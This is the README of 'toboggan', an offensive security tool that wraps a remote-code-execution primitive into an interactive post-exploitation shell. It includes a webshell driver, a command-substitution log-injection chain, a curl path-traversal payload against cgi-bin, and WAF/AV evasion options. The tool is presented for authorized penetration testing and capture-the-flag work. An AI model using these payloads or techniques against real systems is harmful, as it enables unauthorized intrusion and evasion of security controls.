Skip to content

n3rada/toboggan

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Β 

History

491 Commits
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 

Repository files navigation

πŸ› Toboggan

Toboggan bridges the gap between having Remote Code Execution (RCE) PoC and having a usable semi-interactive shell on Linux and Windows targets.

toboggan post-exploitation shell example

Point toboggan at any Python script that exposes an execute(command, timeout) function. It will wrap any command execution primitive into an interactive session with history and modular post-exploitation actions.

When a reverse shell is not an option (firewall, NAT, outbound filtering), the built-in forward shell in Linux using named pipes (mkfifo) gives you stdin/stdout communication through the same channel.

πŸ“¦ Installation

Prefer using uv, a fast Python package manager that installs tools in isolated environments. Alternatively, pipx or pip work as well.

With uv (recommended)

uv tool install persistently installs the tool and adds it to your PATH, similar to pipx:

uv tool install git+https://github.com/n3rada/toboggan.git

After installation, toboggan is available directly:

toboggan --help

To upgrade later:

uv tool upgrade toboggan

Tip

You can also run toboggan without installing it using uvx (alias for uv tool run), which creates a temporary isolated environment on the fly:

uvx --from git+https://github.com/n3rada/toboggan.git toboggan --help

To inject an extra dependency (e.g., a database driver needed by your RCE module):

uv tool install git+https://github.com/n3rada/toboggan.git --with pyrfc==3.3.1

With pipx

Note

pipx installs Python applications in isolated virtual environments, which means they do not have access to system-wide packages by default (like psycopg2).

pipx install 'git+https://github.com/n3rada/toboggan.git'

To use system site packages, pass --system-site-packages:

pipx install --system-site-packages 'git+https://github.com/n3rada/toboggan.git'

Or inject a dependency directly:

pipx inject toboggan pyrfc==3.3.1

With pip

pip install 'git+https://github.com/n3rada/toboggan.git'

πŸ” RCE Module Interface

This is the primary way to use Toboggan. A module is a plain Python script that encapsulates how a command reaches the target: the HTTP request, the authentication flow, the protocol quirks, and the output extraction. Toboggan calls your execute() function for every command and drives the entire session from what it returns.

Your module must expose exactly this function:

def execute(command: str, timeout: float) -> str:
    ...

Toboggan passes every shell command through it and expects back the clean text output, as if the command ran locally. Nothing else is required: no class, no config file, no registration.

Examples

PHP Webshell

import httpx

URL = "http://target.com/uploads/shell.php"

def execute(command: str, timeout: float) -> str:
    r = httpx.post(URL, data={"cmd": command}, timeout=timeout, verify=False)
    return r.text.strip()

Multi-step: log-injection RCE

Some targets have no direct output channel. The function can chain as many requests as needed: trigger a functionality, inject into a side channel, and read back the result. It is plain Python, so anything goes:

import httpx
import re

BASE = "http://target.com"

def execute(command: str, timeout: float) -> str:
    client = httpx.Client(base_url=BASE, verify=False, timeout=timeout)

    # Step 1: trigger the feature that writes a user-controlled value into an app log
    client.post("/api/report", json={"name": f"$(  {command}  )"})

    # Step 2: inject the command output into the log through a second endpoint
    # (the app evaluates the shell substitution before writing)
    client.get("/api/status", params={"debug": "1"})

    # Step 3: fetch the log file and extract the last entry
    r = client.get("/admin/logs/app.log")
    match = re.search(r"\[CMD\] (.+)", r.text)
    return match.group(1).strip() if match else ""

This pattern covers multi-stage SSRF chains, or any custom protocol that exposes command execution. As long as execute() returns the command output as a string, Toboggan handles the rest.

πŸ’‘ Considerations

Your execute() function owns the full translation between Toboggan's command string and the target:

  • Replace characters the channel rejects (e.g., spaces β†’ ${IFS})
  • Apply any encoding the target expects before sending (base64, URL encoding, hex)
  • Strip noise from the response (banners, prompts, HTML wrappers) before returning
  • Tune the timeout to the target's latency; Toboggan adapts internally but your function sets the floor

πŸ”Œ Built-in Execution Backends

When writing a module is not practical, Toboggan ships two built-in backends that cover common cases directly from the command line.

πŸ“„ Burp Suite Request

Import a request saved from Burp Suite and place ||cmd|| where the command should be injected (URL, headers, or body):

toboggan --request burp_request.xml

Tip

In Burp Suite, right-click a request β†’ Save item, then add ||cmd|| where the command should be injected.

🧰 Shell Command Wrapper

Wrap any shell command that contains a command injection point using the ||cmd|| placeholder:

toboggan --exec-wrapper 'curl -s --path-as-is -d "echo Content-Type: text/plain; echo; ||cmd||" "http://192.168.216.188/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh"'

🧸 Usage

toboggan <module> [options]
toboggan --exec-wrapper '<command_template>'
toboggan --request <burp_file>

Upgrade your web shell or command injection to an interactive shell:

toboggan ~/phpexploit.py

🌐 Proxy

Forward traffic through any HTTP(S) proxy:

toboggan ~/phpexploit.py --proxy http://squideu.<something>.io:3128

Route through Burp Suite (defaults to http://127.0.0.1:8080):

toboggan ~/phpexploit.py --proxy

πŸ” Obfuscation

--obfuscate (-O) wraps each command in a shell-level transformation (using the obfuscate/deobfuscate actions) before it reaches the target. This is useful against WAF or AV filters that inspect the command string:

toboggan ~/phpexploit.py --obfuscate --os "linux"

-b64 (--base64) encodes the command at the transport level: whatever string Toboggan would send to execute() gets base64-encoded first. The target must decode and eval it. Use this when the execution channel requires it or when the module is built to handle it:

toboggan ~/phpexploit.py -b64

Both flags can be combined. When active together, commands are obfuscated first at the shell level, and the resulting pipeline is then base64-encoded before reaching execute(). Toboggan will warn you when both are active so the layering is intentional, not accidental.

Both layers can also be toggled at runtime with !obfuscate and !b64 inside the REPL.

πŸ—οΈ Forward Shell (Named Pipes)

Toboggan upgrades dumb web shells into semi-interactive shells using named pipes (FIFO) for inter-process communication. This forward shell technique is invaluable when:

  • You can't get a reverse shell due to firewall restrictions
  • Target is behind NAT or multiple proxies
  • Working with HTTP-only RCE channels (web shells, command injection)
  • Dealing with blind command execution that doesn't return output immediately
  • You need an interactive shell without opening connections back to your machine
toboggan ~/phpexploit.py --fifo

The forward shell uses mkfifo under the hood to create a semi-interactive shell experience over named pipes, even in heavily restricted environments. This enables interactive commands that require stdin/stdout communication such as sudo -l and any scripts using read that expect real-time user input.

Combine with obfuscation for maximum stealth:

toboggan ~/phpexploit.py --obfuscate --fifo --os "linux"

Warning

Ctrl+C is not forwarded. Control characters only work in real TTY/PTY environments.

βš™οΈ Named Pipe Options

Flag Description
--fifo Start a semi-interactive FIFO session
-ri, --read-interval Polling interval in seconds (default: 0.3)
-i, --stdin Custom input path for the FIFO pipe
-o, --stdout Custom output path for the FIFO pipe
--shell Shell binary for named pipe execution (e.g., /bin/bash)

πŸ› οΈ Built-in Actions

Actions are modular plugins executed via the ! prefix inside the terminal session. Use !help to list all available actions.

🧩 Bring Your Own Actions (BYOA)

Custom actions can be placed in the user action directory. Toboggan loads user actions with priority over built-in ones, allowing you to override or extend functionality.

Platform Path
Linux/macOS $XDG_DATA_HOME/toboggan/actions/ (default: ~/.local/share/toboggan/actions/)
Windows %LOCALAPPDATA%\toboggan\actions\

Each action is a Python file inside a subdirectory named after the action, with OS-specific implementations:

actions/
  my_action/
    linux.py    # Linux implementation
    windows.py  # Windows implementation

Your action class must inherit from BaseAction and implement the run() method. See DEVELOPMENT.md for the full guide on creating actions.

πŸ“‚ Data Storage

Toboggan follows XDG Base Directory conventions on Linux:

Purpose Linux Path Windows Path
User actions $XDG_DATA_HOME/toboggan/actions/ %LOCALAPPDATA%\toboggan\actions\
Logs $XDG_STATE_HOME/toboggan/logs/ %LOCALAPPDATA%\toboggan\logs\
Command history $XDG_STATE_HOME/toboggan/history/ %LOCALAPPDATA%\toboggan\history\
Cached binaries $XDG_CACHE_HOME/toboggan/binaries/ %LOCALAPPDATA%\toboggan\binaries\

Tip

Override the log directory with the TOBOGGAN_LOG_DIR environment variable.

❓ Help

toboggan --help              # Show all CLI options
toboggan ~/exploit.py        # Then type !help for available actions
toboggan ~/exploit.py        # Then type !<action> -h for action-specific help

πŸ”§ Terminal Built-in Commands

Command Description
!help (!h) Show available actions and built-in commands
!exit (!e, !ex) Exit the terminal session
!size [bytes] Probe or set max command size
!debug Toggle debug logging
!trace Toggle trace logging
!paths Show custom paths and command location cache
!paths add <paths> Add custom paths for command lookup
!paths clear Clear the command location cache
!obfuscate Toggle command obfuscation on/off
!b64 Toggle base64 wrapping of commands before execute()

⚠️ Disclaimer

Toboggan is intended for use in legal penetration testing, Capture The Flag (CTF) competitions, or other authorized and ethical security assessments.

Acceptable environments include:

  • Private lab environments you control (local VMs, isolated networks)
  • Sanctioned learning platforms (CTFs, Hack The Box, OffSec exam scenarios)
  • Formal penetration-test or red-team engagements with documented customer consent

Misuse of this project may result in legal action.

βš–οΈ Legal Notice

Any unauthorized use of this tool in real-world environments or against systems without explicit permission from the system owner is strictly prohibited and may violate legal and ethical standards. The creators and contributors of this tool are not responsible for any misuse or damage caused.

Use responsibly and ethically. Always respect the law and obtain proper authorization.